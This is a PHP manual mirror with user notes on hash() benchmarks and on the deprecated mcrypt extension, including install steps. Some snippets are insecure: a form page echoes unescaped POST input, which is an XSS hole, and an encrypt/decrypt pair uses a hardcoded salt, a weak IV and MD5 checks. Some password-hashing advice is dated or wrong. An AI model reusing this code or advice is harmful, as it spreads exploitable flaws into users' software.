  echo "Posit.      Time in ms   Type-Hash algo        Hash length".PHP_EOL;

  foreach($res as $sres){
    foreach($sres as $result){
      echo sprintf("%5d. %12s ms    %-20s %-2d bytes", $i++, $result['time'], $result['algo'], $result['length']).PHP_EOL;
    }
  }
?>

I found interesting that today (may 31, 2018), I found 103 algos, 65 more than 9 years ago (based on this comment: https://secure.php.net/manual/en/function.hash.php#89574 )

Also, here is my results: https://ideone.com/embed/0iwuGn

I'm not posting here due to message length limitations.
Hayley Watson 12-Jul-2017 12:13
These are hash functions. Some have been designed to act as signatures for documents, while others are simply act as checks that transmitted data hasn't been damaged or otherwise modified during transmission and don't provide any cryptographic features.

Learn their differences, and use what's appropriate, because using the wrong hash function can be worse than not using one at all.
Hayley Watson 11-Jul-2017 11:58
Of the hash algorithms currently available, SHA3 was chosen by NIST from fifty-one submitted candidates and subsequently mandated by the U.S. Department of Commerce for Federal Government use.

http://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.202.pdf

So if you're wanting to select a hash algorithm, you can consider SHA3 to be "good enough for government work".
Nicolas Pamart 02-Jan-2015 12:47
Be carreful ! SHA256 return plain text string for empty field !!! empty function will not work ! Make a test before hash your POST.
buar42 at gmail dot com 29-Sep-2013 08:45
I made a PHP script that will let you sort all the available hashes on your system by generation time or by the length of the hash. It shows a general correlation on my system (longer hashes take longer to calculate) but some are faster than others, for example, sha512 makes the (joint) longest hash, but is actually only ninth slowest (from 43 hashes available on my machine)

As I understand it, the strength of a hash is dependant on the number of collisions that it has (where two input values produce the same hash) so with an infinite number of input values but a finite number of hashes, there are a (theoretically) infinite number of collisions. But, if you have a longer hash, then you're dividing infinity by a larger number, so you'll have fewer collisions.

In reality the number of collisions will be limited by the minimum and maximum password lengths that you choose to allow, so that if you enforce a policy where passwords must be exactly a certain length (20 characters for example) you'll have a large number of unique passwords, but a smaller number of potential inputs than you have hashes coming out, so that should prevent collisions entirely. In theory.

Tl;dr: I think that longer hashes are better.

Anyway, here's the code:
<?php

$data = "hello";

foreach (hash_algos() as $v)
 {
  $time=microtime(1);
  for ($i = 0; $i < 10000; $i++)
   {
    $r[$v] = strlen(hash($v, $data.$i, false));
   }
  $t[$v] = microtime(1)-$time;
 }

switch ($_GET['sort'])
 {
  default:
   ksort ($r);
   $array = 'r';
   break;
  case 'length':
   asort ($r);
   $array = 'r';
   break;
  case 'time':
   asort ($t);
   $array = 't';
   break;
 }

echo '<pre>        <a href="?sort=alph">Name</a>        | <a href="?sort=length">Hash Length</a> | <a href="?sort=time">Time taken for 10000 hashes.</a>'."\n";
foreach ($$array as $key => $value)
 {
  echo $key;
  for ($i = strlen ($key); $i <= 19; $i++)
   {
    echo ' ';
   }
  echo '| '.$r[$key];
  for ($i = strlen ($r[$key]); $i <= 11; $i++)
   {
    echo ' ';
   }
  echo '| '.$t[$key]."\n";
 }

echo '</pre>';

?>
me at akshayjoshi dot com 22-Mar-2013 03:00
Using luka8088 at gmail dot com's code on my laptop (PHP 5.4.4 on OS X), showing fastest 50 algorithms only:

Results:
   1.  adler32 (raw)                 3340.959 microseconds
   2.  adler32 (hex)                 3345.012 microseconds
   3.  fnv132 (raw)                  5178.928 microseconds
   4.  fnv164 (hex)                  5193.948 microseconds
   5.  md4 (raw)                     5207.061 microseconds
   6.  fnv132 (hex)                  5248.069 microseconds
   7.  fnv164 (raw)                  5290.985 microseconds
   8.  md4 (hex)                     5333.9 microseconds
   9.  tiger160,3 (raw)              5499.124 microseconds
  10.  tiger128,3 (hex)              5549.907 microseconds
  11.  tiger192,3 (raw)              5578.994 microseconds
  12.  tiger192,3 (hex)              5687.952 microseconds
  13.  tiger160,3 (hex)              5755.186 microseconds
  14.  tiger128,3 (raw)              5775.928 microseconds
  15.  crc32b (raw)                  6839.036 microseconds
  16.  crc32 (raw)                   6983.995 microseconds
  17.  crc32 (hex)                   7061.004 microseconds
  18.  crc32b (hex)                  7097.005 microseconds
  19.  joaat (raw)                   7505.893 microseconds
  20.  tiger160,4 (raw)              7548.093 microseconds
  21.  joaat (hex)                   7570.028 microseconds
  22.  tiger192,4 (raw)              7591.009 microseconds
  23.  tiger160,4 (hex)              7630.825 microseconds
  24.  tiger128,4 (hex)              7750.034 microseconds
  25.  tiger128,4 (raw)              7750.988 microseconds
  26.  sha1 (raw)                    8049.964 microseconds
  27.  tiger192,4 (hex)              8301.019 microseconds
  28.  haval128,3 (raw)              9046.792 microseconds
  29.  haval192,3 (raw)              9313.106 microseconds
  30.  haval224,3 (raw)              9315.013 microseconds
  31.  haval160,3 (raw)              9329.795 microseconds
  32.  haval256,3 (raw)              9404.182 microseconds
  33.  haval160,3 (hex)              9521.007 microseconds
  34.  md5 (raw)                     9599.924 microseconds
  35.  haval128,3 (hex)              9603.023 microseconds
  36.  haval192,3 (hex)              9624.004 microseconds
  37.  haval256,3 (hex)              9635.925 microseconds
  38.  haval224,3 (hex)              9652.853 microseconds
  39.  md5 (hex)                     9654.045 microseconds
  40.  haval256,4 (raw)              12173.891 microseconds
  41.  haval160,4 (raw)              12346.982 microseconds
  42.  haval256,4 (hex)              12598.037 microseconds
  43.  haval224,4 (hex)              12600.898 microseconds
  44.  haval128,4 (raw)              12680.053 microseconds
  45.  sha512 (raw)                  12681.961 microseconds
  46.  haval160,4 (hex)              12733.936 microseconds
  47.  sha384 (raw)                  12766.122 microseconds
  48.  haval192,4 (hex)              12813.091 microseconds
  49.  haval192,4 (raw)              12818.098 microseconds
  50.  haval128,4 (hex)              12836.933 microseconds

It seems that the adler32 algorithm has gotten a lot faster.
sneskid at hotmail dot com 14-Mar-2012 09:32
On two different servers I found that crc32() relates to hash('crc32b',)
This may be good to know if you are writing a crc32_file function based on hash_file.
(The example does not compensate for negative crc32 results)
<?php
$val = 'hello';
var_dump(crc32($val) == ( '0x' . hash('crc32b', $val) ) ); // bool(true)
var_dump(crc32($val) == ( '0x' . hash('crc32', $val) ) ); // bool(false)
?>

Also if you are looking for a way to reduce collisions and still keep the hash result small (smaller than say md5) you could get a nice database friendly 64 bit value by using hash/crc32 and hash/crc32b, which is slower than a single md5 but the result may be more suitable for certain tasks.
<?php
$val = 'hello';
$crc64 = ( '0x' . hash('crc32', $val) . hash('crc32b', $val) ) );
var_dump($crc64); // string(18) "0x3d6531193610a686"
var_dump($crc64 + 0); // int(4423996193312384646)
?>

(examples tested on php 5.2.17)
note: ('0x' . $hex . + 0) is faster than base_convert($hex,16,10)
nmmm at nmmm dot nu 20-Jul-2011 01:50
I was interested how "long" each hash is, so I did:

<?php
$data = "hello";

foreach (hash_algos() as $v) {
        $r = hash($v, $data, false);
        printf("%-12s %3d %s\n", $v, strlen($r), $r);
}
?>

which produce (long hashes are cropped)

md2           32 a9046c73e00331af68917d3804f70655
md4           32 866437cb7a794bce2b727acc0362ee27
md5           32 5d41402abc4b2a76b9719d911017c592
sha1          40 aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d
sha256        64 2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e730
sha384        96 59e1748777448c69de6b800d7a33bbfb9ff1b463e44354c3553
sha512       128 9b71d224bd62f3785d96d46ad3ea3d73319bfbc2890caadae2d
ripemd128     32 789d569f08ed7055e94b4289a4195012
ripemd160     40 108f07b8382412612c048d07d13f814118445acd
ripemd256     64 cc1d2594aece0a064b7aed75a57283d9490fd5705ed3d66bf9a
ripemd320     80 eb0cf45114c56a8421fbcb33430fa22e0cd607560a88bbe14ce
whirlpool    128 0a25f55d7308eca6b9567a7ed3bd1b46327f0f1ffdc804dd8bb
tiger128,3    32 a78862336f7ffd2c8a3874f89b1b74f2
tiger160,3    40 a78862336f7ffd2c8a3874f89b1b74f2f27bdbca
tiger192,3    48 a78862336f7ffd2c8a3874f89b1b74f2f27bdbca39660254
tiger128,4    32 1c2a939f230ee5e828f5d0eae5947135
tiger160,4    40 1c2a939f230ee5e828f5d0eae5947135741cd0ae
tiger192,4    48 1c2a939f230ee5e828f5d0eae5947135741cd0aefeeb2adc
snefru        64 7c5f22b1a92d9470efea37ec6ed00b2357a4ce3c41aa6e28e3b
gost          64 a7eb5d08ddf2363f1ea0317a803fcef81d33863c8b2f9f6d7d1
adler32        8 062c0215
crc32          8 3d653119
crc32b         8 3610a686
haval128,3    32 85c3e4fac0ba4d85519978fdc3d1d9be
haval160,3    40 0e53b29ad41cea507a343cdd8b62106864f6b3fe
haval192,3    48 bfaf81218bbb8ee51b600f5088c4b8601558ff56e2de1c4f
haval224,3    56 92d0e3354be5d525616f217660e0f860b5d472a9cb99d6766be
haval256,3    64 26718e4fb05595cb8703a672a8ae91eea071cac5e7426173d4c
haval128,4    32 fe10754e0b31d69d4ece9c7a46e044e5
haval160,4    40 b9afd44b015f8afce44e4e02d8b908ed857afbd1
haval192,4    48 ae73833a09e84691d0214f360ee5027396f12599e3618118
haval224,4    56 e1ad67dc7a5901496b15dab92c2715de4b120af2baf661ecd92
haval256,4    64 2d39577df3a6a63168826b2a10f07a65a676f5776a0772e0a87
haval128,5    32 d20e920d5be9d9d34855accb501d1987
haval160,5    40 dac5e2024bfea142e53d1422b90c9ee2c8187cc6
haval192,5    48 bbb99b1e989ec3174019b20792fd92dd67175c2ff6ce5965
haval224,5    56 aa6551d75e33a9c5cd4141e9a068b1fc7b6d847f85c3ab16295
haval256,5    64 348298791817d5088a6de6c1b6364756d404a50bd64e645035f
rojaro at gmail dot com 15-Sep-2010 08:01
If the given algo parameter contains an algorithm that is not supported, the hash function will return bool(false) and issue a warning.
robert+nospam at robert-gonzalez dot com 17-Jan-2010 04:08
I've recently had the need to look at various hash algorithms and their values of the same string. To make my life a little easier I wrote this little script. It takes a string and runs it through all of the available hash algorithms on your server, outputting them in a clean little HTML table.

-----

<?php
/* Get the posted value of the form if there is one */
$p = empty($_POST['p']) ? null : $_POST['p'];
?>
<html>
<head><title>Hash testing</title></head>
<style type="text/css">
    table {border-collapse: collapse;}
    table, td, th {border: solid 1px #ccc;}
    th {background: #e1e1e1;border-color: #999;}
    td, th {padding: 0.25em;}
    td.algo {font-weight: bold;}
    tr.on td {background: #f0f0f0;}
</style>
<body>
    <h1>String hashing</h1>
    <form method="post" action="<?php echo basename(__FILE__) ?>">
        <p><label for="p">Enter a string to hash:</label><br /><input id="p" type="text" name="p" value="<?php echo $p ?>" /></p>
        <p><input type="submit" name="submit" value="Hash It" /></p>
    </form>

    <?php /* If there is a posted value use it */ ?>
    <?php if ($p): ?>
    <hr />
    <h2>Table of hash values for <em><?php echo $p ?></em> based on algorithm</h2>
    <table>
        <tr>
            <th>Algorithm</th>
            <th>Hashed value of <em><?php echo $p ?></em></th>
        </tr>
        <?php /* Loop through each hash algorithm, colorizing every other row */ ?>
        <?php $on = false; foreach (hash_algos() as $algo): ?>
        <tr<?php if ($on): ?> class="on"<?php endif; ?>>
            <td class="algo"><?php echo $algo ?></td>
            <td class="hash"><?php echo hash($algo, $p) ?></td>
        </tr>
    <?php $on = !$on; endforeach; ?>
    </table>
    <?php endif; ?>
</body>
</html>
Kai Petzke 16-Oct-2009 05:14
The well known hash functions MD5 and SHA1 should be avoided in new applications. Collission attacks against MD5 are well documented in the cryptographics literature and have already been demonstrated in practice. Therefore, MD5 is no longer secure for certain applications.

Collission attacks against SHA1 have also been published, though they still require computing power, which is somewhat out of scope. As computing power increases with time and the attacks are likely to get better, too, attacks against systems relying on SHA1 for security are likely to become feasible within the next few years.

There is no lack of potential alternative hash algorithms, as the many choices for the "algo" argument of PHPs hash() function already suggests. Unfortunately, there is lack of analysis, as to how secure these alternative algorithms are. It is rather safe to assume, though, that the SHA2 family with its most prominent members SHA-256 und SHA-512, is better than SHA1.

When storing password hashes, it is a good idea to prefix a salt to the password before hashing, to avoid the same passwords to hash to the same values and to avoid the use of rainbow tables for password recovery. Unlike suggested in other articles, there is no security advantage in putting the salt in the middle, or even at both the beginning and the end, of the combined salt-password-string.

Rather, there are two other factors, that determine the strength of the salt: Its length and its variability. For example, using the same salt for all passwords is easy to implement, but gives only very little additional security. In particular, if users type the same passwords, they will still hash to the same value!

Therefore, the salt should be random string with at least as many variable bits, as there are bits in the hash result. In the user database, store username, the randomly generated salt for that user, and the result of hashing the salt-password-string. Access authentication is then done by looking up the entry for the user, calculating the hash of the salt found in the database and the password provided by the user, and comparing the result with the one stored in the database.
luka8088 at gmail dot com 14-Mar-2009 03:20
Performance test results on my laptop:
Results are here shorten to fit php web notes ...
This was tested with 1024000 bytes (1000 KB) of random data, md4 always gets the first place, and md2 always get the last place :)

Results: (in microseconds)
   1.  md4                           5307.912
   2.  md5                           6890.058
   3.  crc32b                        7298.946
   4.  crc32                         7561.922
   5.  sha1                          8886.098
   6.  tiger128,3                    11054.992
   7.  haval192,3                    11132.955
   8.  haval224,3                    11160.135
   9.  tiger160,3                    11162.996
  10.  haval160,3                    11242.151
  11.  haval256,3                    11327.981
  12.  tiger192,3                    11630.058
  13.  haval128,3                    11880.874
  14.  tiger192,4                    14776.945
  15.  tiger128,4                    14871.12
  16.  tiger160,4                    14946.937
  17.  haval160,4                    15661.954
  18.  haval192,4                    15717.029
  19.  haval256,4                    15759.944
  20.  adler32                       15796.184
  21.  haval128,4                    15887.022
  22.  haval224,4                    16047.954
  23.  ripemd256                     16245.126
  24.  haval160,5                    17818.927
  25.  haval128,5                    17887.115
  26.  haval224,5                    18085.002
  27.  haval192,5                    18135.07
  28.  haval256,5                    18678.903
  29.  sha256                        19020.08
  30.  ripemd128                     20671.844
  31.  ripemd160                     21853.923
  32.  ripemd320                     22425.889
  33.  sha384                        45102.119
  34.  sha512                        45655.965
  35.  gost                          57237.148
  36.  whirlpool                     64682.96
  37.  snefru                        80352.783
  38.  md2                           705397.844

Code for generating this:
(compatible both with browser and cli mode)

<pre>

<?php

echo 'Building random data ...' . PHP_EOL;
@ob_flush();flush();

$data = '';
for ($i = 0; $i < 64000; $i++)
    $data .= hash('md5', rand(), true);

echo strlen($data) . ' bytes of random data built !' . PHP_EOL . PHP_EOL . 'Testing hash algorithms ...' . PHP_EOL;
@ob_flush();flush();

$results = array();
foreach (hash_algos() as $v) {
    echo $v . PHP_EOL;
    @ob_flush();flush();
    $time = microtime(true);
    hash($v, $data, false);
    $time = microtime(true) - $time;
    $results[$time * 1000000000][] = "$v (hex)";
    $time = microtime(true);
    hash($v, $data, true);
    $time = microtime(true) - $time;
    $results[$time * 1000000000][] = "$v (raw)";
}

ksort($results);

echo PHP_EOL . PHP_EOL . 'Results: ' . PHP_EOL;

$i = 1;
foreach ($results as $k => $v)
    foreach ($v as $k1 => $v1)
        echo ' ' . str_pad($i++ . '.', 4, ' ', STR_PAD_LEFT) . '  ' . str_pad($v1, 30, ' ') . ($k / 1000) . ' microseconds' . PHP_EOL;

?>

</pre>
Leigh 06-Aug-2008 10:10
Just a quick note about these benchmarks and how you should apply them.

If you are hashing passwords etc for security, speed is not your friend. You should use the slowest method.

Slow to hash means slow to crack and will hopefully make generating things like rainbow tables more trouble than it's worth.
inspiration3 at gmail dot com 04-May-2008 08:12
Another comprehensive benchmark script that orders results from best to worst and includes the crc32(), md5() and sha1() standalone functions:

<?php

define('HASH_TIMES', 1000);
define('HASH_DATA', 'The quick brown fox jumped over!'); // 32 bytes

header('Content-Type: text/plain');
echo 'Testing ' . strlen(HASH_DATA) . ' bytes of data over ' . HASH_TIMES . " iterations:\n";

foreach (hash_algos() as $algo) {
    $time = microtime(1);
    for ($i = 0; $i < HASH_TIMES; $i++) hash($algo, HASH_DATA);
    $results[$algo] = microtime(1) - $time;
}

$time = microtime(1); for ($i = 0; $i < HASH_TIMES; $i++) crc32(HASH_DATA); $results['crc32()'] = microtime(1) - $time;
$time = microtime(1); for ($i = 0; $i < HASH_TIMES; $i++) md5(HASH_DATA); $results['md5()'] = microtime(1) - $time;
$time = microtime(1); for ($i = 0; $i < HASH_TIMES; $i++) sha1(HASH_DATA); $results['sha1()'] = microtime(1) - $time;

asort($results, SORT_NUMERIC);
foreach ($results as $algo => $time) echo "\n$time\t$algo";

?>
Marcus 27-Apr-2008 05:15
A upgrade of (dani88elx AT gmail DOT com)'s performance test [from 26-Jun-2007], this time grading them by speed (fastest first) and comparing times between hex and raw data.

<?php
function testAlgos() {
$algos = hash_algos();
$word="This will be crypted by all different algoritms";
$results = array();
foreach($algos as $algo)
{
    $time=microtime(1);
    $data = hash($algo, $word, false);
    $results["".(microtime(1)-$time)][] = "$algo (hex)";
}
foreach($algos as $algo)
{
    $time=microtime(1);
    $data = hash($algo, $word, true);
    $results["".(microtime(1)-$time)][] = "$algo (raw)";
}
ksort($results);
foreach($results as $time => &$algos) {
    echo $time."\n";
    sort($algos);
    foreach($algos as $algo)
        echo "\t".$algo."\n";
}
}
testAlgos();
?>
mikael at webhost3 dot eu 10-Mar-2007 05:34
<?php
$time=microtime(1);
for ($i=0;$i<100000;$i++)
   hash('md5', 'string');
echo microtime(1)-$time,': hash/md5<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   md5('string');
echo microtime(1)-$time,': md5<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   hash('sha1', 'string');
echo microtime(1)-$time,': hash/sha1<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   sha1('string');
echo microtime(1)-$time,': sha1<br>';
?>------------------------<br><?php
$time=microtime(1);
for ($i=0;$i<100000;$i++)
   hash('md5', $i);
echo microtime(1)-$time,': hash/md5<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   md5($i);
echo microtime(1)-$time,': md5<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   hash('sha1', $i);
echo microtime(1)-$time,': hash/sha1<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   sha1($i);
echo microtime(1)-$time,': sha1<br>';
?>
Gives:
0.33311605453491: hash/md5
1.0671429634094: md5
0.383131980896: hash/sha1
1.3252220153809: sha1
------------------------
0.37684988975525: hash/md5
1.1258299350739: md5
0.43960785865784: hash/sha1
1.3876020908356: sha1


Mcrypt

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Mcrypt 密码
  • Mcrypt 函数
    • mcrypt_create_iv — 从随机源创建初始向量
    • mcrypt_decrypt — 使用给定参数解密密文
    • mcrypt_enc_get_algorithms_name — 返回打开的算法名称
    • mcrypt_enc_get_block_size — 返回打开的算法的分组大小
    • mcrypt_enc_get_iv_size — 返回打开的算法的初始向量大小
    • mcrypt_enc_get_key_size — 返回打开的模式所能支持的最长密钥
    • mcrypt_enc_get_modes_name — 返回打开的模式的名称
    • mcrypt_enc_get_supported_key_sizes — 以数组方式返回打开的算法所支持的密钥长度
    • mcrypt_enc_is_block_algorithm_mode — 检测打开的模式是否支持分组加密
    • mcrypt_enc_is_block_algorithm — 检测打开模式的算法是否为分组算法
    • mcrypt_enc_is_block_mode — 检测打开的模式是否以分组方式输出
    • mcrypt_enc_self_test — 在打开的模块上进行自检
    • mcrypt_encrypt — 使用给定参数加密明文
    • mcrypt_generic_deinit — 对加密模块进行清理工作
    • mcrypt_generic_init — 初始化加密所需的缓冲区
    • mcrypt_generic — 加密数据
    • mcrypt_get_block_size — 获得加密算法的分组大小
    • mcrypt_get_cipher_name — 获取加密算法名称
    • mcrypt_get_iv_size — 返回指定算法/模式组合的初始向量大小
    • mcrypt_get_key_size — 获取指定加密算法的密钥大小
    • mcrypt_list_algorithms — 获取支持的加密算法
    • mcrypt_list_modes — 获取所支持的模式
    • mcrypt_module_close — 关闭加密模块
    • mcrypt_module_get_algo_block_size — 返回指定算法的分组大小
    • mcrypt_module_get_algo_key_size — 获取打开模式所支持的最大密钥大小
    • mcrypt_module_get_supported_key_sizes — 以数组形式返回打开的算法所支持的密钥大小
    • mcrypt_module_is_block_algorithm_mode — 返回指定模块是否是分组加密模式
    • mcrypt_module_is_block_algorithm — 检测指定算法是否为分组加密算法
    • mcrypt_module_is_block_mode — 检测指定模式是否以分组方式输出
    • mcrypt_module_open — 打开算法和模式对应的模块
    • mcrypt_module_self_test — 在指定模块上执行自检
    • mdecrypt_generic — 解密数据

User Contributed Notes

zelnaga at gmail dot com 25-Jul-2019 09:02
If you're wanting to use mcrypt on a newer version of PHP where it's been deprecated try the shim for it instead:

https://github.com/phpseclib/mcrypt_compat
nishanth at sintheetaa dot in 05-Apr-2018 10:33
Issue Solved when installing php7.2-mcrypt

I was also facing the same issue. Check this link https://stackoverflow.com/q/48275494/7713811 to get the right solution for installing it in PHP
Kyle T 14-Nov-2017 09:41
This was posted before by another user but has been downvoted. I just wanted to confirm that we suffered massive performance issues related to mcrypt on CentOS (PHP 5.6.32) that are not present in other flavors of Linux.

A sampling of 25,000 encrypts/decrypts takes 4-5x longer when running mcrypt on Centos 7 as compared to Ubuntu. Switching out mcrypt for OpenSSL on Centos will result in a massive increase in performance.

For lower traffic website it can be negligible, but when you start seeing significant traffic/load it will quickly bring down a server.
Daniel Esteve 28-Dec-2016 11:06
The Mcrypt library has been declared DEPRECATED since PHP 7.1, to use in its OpenSSL
simonhf at gmail dot com 23-Jun-2015 11:54
Note that there are severe performance problems with PHP mcrypt on many CentOS versions. Please see this CentOS bug:
http://bugs.centos.org/view.php?id=8954
Anonymous 12-Feb-2012 10:35
These are two simple functions I built for 256-bit encryption/decryption with mcrypt.  I've decided to use MCRYPT_RIJNDAEL_128 because it's AES-compliant, and MCRYPT_MODE_CBC.  (ECB mode is inadequate for many purposes because it does not use an IV.)

This function stores a hash of the data to verify that the data was decrypted successfully, but this could be easily removed if necessary.

<?php
function encrypt($decrypted, $password, $salt='!kQm*fF3pXe1Kbm%9') {
 // Build a 256-bit $key which is a SHA256 hash of $salt and $password.
 $key = hash('SHA256', $salt . $password, true);
 // Build $iv and $iv_base64.  We use a block size of 128 bits (AES compliant) and CBC mode.  (Note: ECB mode is inadequate as IV is not used.)
 srand(); $iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC), MCRYPT_RAND);
 if (strlen($iv_base64 = rtrim(base64_encode($iv), '=')) != 22) return false;
 // Encrypt $decrypted and an MD5 of $decrypted using $key.  MD5 is fine to use here because it's just to verify successful decryption.
 $encrypted = base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $decrypted . md5($decrypted), MCRYPT_MODE_CBC, $iv));
 // We're done!
 return $iv_base64 . $encrypted;
 }

function decrypt($encrypted, $password, $salt='!kQm*fF3pXe1Kbm%9') {
 // Build a 256-bit $key which is a SHA256 hash of $salt and $password.
 $key = hash('SHA256', $salt . $password, true);
 // Retrieve $iv which is the first 22 characters plus ==, base64_decoded.
 $iv = base64_decode(substr($encrypted, 0, 22) . '==');
 // Remove $iv from $encrypted.
 $encrypted = substr($encrypted, 22);
 // Decrypt the data.  rtrim won't corrupt the data because the last 32 characters are the md5 hash; thus any \0 character has to be padding.
 $decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, base64_decode($encrypted), MCRYPT_MODE_CBC, $iv), "\0\4");
 // Retrieve $hash which is the last 32 characters of $decrypted.
 $hash = substr($decrypted, -32);
 // Remove the last 32 characters from $decrypted.
 $decrypted = substr($decrypted, 0, -32);
 // Integrity check.  If this fails, either the data is corrupted, or the password/salt was incorrect.
 if (md5($decrypted) != $hash) return false;
 // Yay!
 return $decrypted;
 }
?>
ghoffman at salientdigital dot com 23-Nov-2010 01:23
If you want a quick way to see what ciphers, modes, key, block and iv sizes are supported on your server, try something like the following.

Note: I used this simple bash: `locate libmcrypt` from terminal on Mac OS X to determine the install paths to the algorithms and modes directories. Lots of function calls generate warnings for certain ciphers, hence the use of error suppression.

<?php

$modes = mcrypt_list_modes();
$algorithms = mcrypt_list_algorithms();
foreach($algorithms as $cipher)
{
    echo "<h1 style=\"border-top:1px solid black;\">".$cipher."</h1>\n";
    foreach($modes as $mode)
    {
        echo "<h3>".$mode."</h3>\n";
        @$td = mcrypt_module_open(
            $cipher,
            '/usr/local/libmcrypt-2.5.8/modules/algorithms/',
            $mode,
            '/usr/local/libmcrypt-2.5.8/modules/modes/');
        @$key_size = mcrypt_enc_get_key_size($td);
        @$block_size = mcrypt_get_block_size($cipher,$mode);
        @$iv_size = mcrypt_get_iv_size($cipher, $mode);
        @mcrypt_module_close($td);
        echo "
        <pre>
            key_size: ". ($key_size?$key_size:'n/a')
      ."    block_size: ". ($block_size?$block_size:'n/a')
      ."    iv_size: ". ($iv_size?$iv_size:'n/a')
      ."  </pre>\n";
        $td=NULL;
        $key_size=NULL;
        $block_size=NULL;
        $iv_size=NULL;
    }
}

?>
Maarten Malaise 11-Apr-2010 05:38
people using phpmyadmin are redirected to this manual if they don't have mcrypt installed. If you want to install mcrypt on debian, first check your php version:

yourserver# php --version

Then install the appropriate version of mcrypt (php5-mcrypt if your php version is 5.x)

yourserver# apt-get install php4-mcrypt
...or...
yourserver# apt-get install php5-mcrypt


简介

Warning

此功能自 PHP 7.1.0 起弃用，并在 PHP 7.2.0 中移除。

此功能可以使用如下替代：

  • Sodium （自 PHP 7.2.0 起可用）
  • OpenSSL

Note:

此扩展已被移至 » PECL 资源库；不再与 PHP 捆绑，从 PHP 7.2.0.

本扩展是 mcrypt 库的接口，mcrypt 库提供了对多种块算法的支持，包括：DES、TripleDES、Blowfish（默认）、3-WAY、SAFER-SK64、SAFER-SK128、TWOFISH、TEA、RC2 以及 GOST，并且支持 CBC、OFB、CFB 和 ECB 密码模式。此外，还支持诸如 RC6 和 IDEA 这两种"非免费"的算法。默认情况下，CFB/OFB 是 8bit。

User Contributed Notes

There are no user contributed notes for this page.


安装/配置

Table of Contents

  • 需求
  • 安装
  • 运行时配置
  • 资源类型

User Contributed Notes

karan at world dot com 12-Nov-2018 11:41
For PHP-7 UNIX Server use this

sudo apt-get install mcrypt php7.0-mcrypt

sudo service apache2 restart
nishanth at sintheetaa dot in 05-Apr-2018 10:16
Issue Solved when installing php7.2-mcrypt
I was also facing the same issue. Check this link https://stackoverflow.com/q/48275494/7713811
to get the right solution for installing it in PHP
Greg Rundlett 26-Nov-2014 08:05
debian/ubuntu php5 (>= 5.4.0~rc6-1) has introduced two new commands:
php5enmod and php5dismod

# install the extension
sudo apt-get install php5-mcrypt
# you can see that it's installed by the presence of the .ini file
cat /etc/php5/mods-available/mcrypt.ini
# enable it
sudo php5enmod mcrypt
# reload Apache to make use of the extension
sudo service apache2 reload
cguzmana at gmail dot com 06-Oct-2014 08:24
Resolved my problem on Ubuntu 14.04:

$sudo apt-get install php5-mcrypt
$sudo php5enmod mcrypt
info at papoo dot de 11-Mar-2014 01:13
Same Problem on Linux Mint - Call to undefined function mcrypt_create_iv...

Solved by adding the folowing line to the php.ini
extension=mcrypt.so

After that a
service apache2 restart
solved it...

Have fun with it...
Jbud 24-Dec-2013 09:31
The following link solved my problem

[Tue Dec 24 12:42:33.003683 2013] [:error] [pid 8448] [client 127.0.0.1:33146] PHP Fatal error:  Call to undefined function mcrypt_decrypt() ...

http://stackoverflow.com/questions/4809611/problem-with-mcrypt-installation/20208943#20208943
nsantana at NOSPAMS dot gmail dot com 19-Oct-2012 11:21
Using PHP version "PHP Version 5.3.10-1ubuntu3.4" and Ubuntu 12.0.4 on Apache2...

Make sure you have mcrypt installed and active on your php5 install. Use "sudo apt-get install php5-mcrypt" to install, that should sort the issue.
dork 11-May-2010 10:54
On ubuntu 8 (hardy), the mcrypt library seems to be here.

/usr/lib/php5/20060613/mcrypt.so

So I just created mcrypt.ini in /etc/php5/conf.d and added this one liner.

extension=mcrypt.so
bobeck at lycos dot com 06-Jan-2010 06:32
To make sure that mcrypt doesn't fail to load when
using Windows XP , Apache 2 and php 5, even if all the required procedure to install it has been accomplished already, copy libmcrypt.dll, which is normally in the php main directory, into the php\ext directory.
kmasaryk 14-Jul-2009 05:30
Also on Ubuntu, make sure you actually have php5-mcrypt installed. You can install it with:

sudo apt-get install php5-mcrypt

If you get any errors, you may need to enable the 'universe' repository, explained here:
https://help.ubuntu.com/community/Repositories/Ubuntu
rskret at gmail dot com 28-Feb-2009 04:04
PROBLEM: cannot load mcrypt extension. please check your php configuration

I have done as suggested by the contributor before me and copied libmcrypt.dll from F:\wamp\bin\php\PHP52~1.8
to C:\WINDOWS\system32 . This did not work on it's own. I found other advice as follows and now mcrypt is working.

OTHER ADVICE:

Go to F:\wamp\bin\php\PHP52~1.8\php.ini
change ;extension=php_mcrypt.dll
to      extension=php_mcrypt.dll
(ie. remove ; )

now go to the following 2 files and do the same:
F:\wamp\bin\php\PHP52~1.8\phpForApache.ini
F:\wamp\bin\apache\APACHE~1.11\bin\php.ini

Please adjust the directory location per your own installation.
ch0wnag3 AT gmail DOT com 21-Jul-2008 02:16
On Windows installations, for the dynamic extension (extension=php_mcrypt.dll) to load properly, you must copy libmcrypt.dll from your PHP root folder (e.g. C:\PHP) to the following location:

C:\WINDOWS\system32

With this done, the dynamic extension will load up just fine.


需求

这些函数需要使用 » mcrypt 库。 请从 » http://mcrypt.sourceforge.net/ 下载 libmcrypt-x.x.tar.gz， 并按以下指导完成安装。

你需要使用 libmcrypt 2.5.6 或更高版本。

PHP 5.2 的 Windows 二进制发行版中已经包含了本库。 PHP 5.3 的 Windows 二进制发行版中开始使用 MCrypt 静态库， 所以不再需要 DLL。

如果使用 libmcrypt 2.4.x 或更高版本链接编译 PHP，支持以下附加的分组加密算法： CAST，LOKI97，RIJNDAEL，SAFERPLUS，SERPENT， 以及以下流密码：ENIGMA（加密）， PANAMA，RC4 和 WAKE。 如果使用 libmcrypt 2.4.x 或更高版本，那么还支持 nOFB 密码模式。

User Contributed Notes

Vladimir Kovpak 30-Mar-2015 10:00
On linux:

sudo apt-get install php5-mcrypt
sudo php5enmod mcrypt
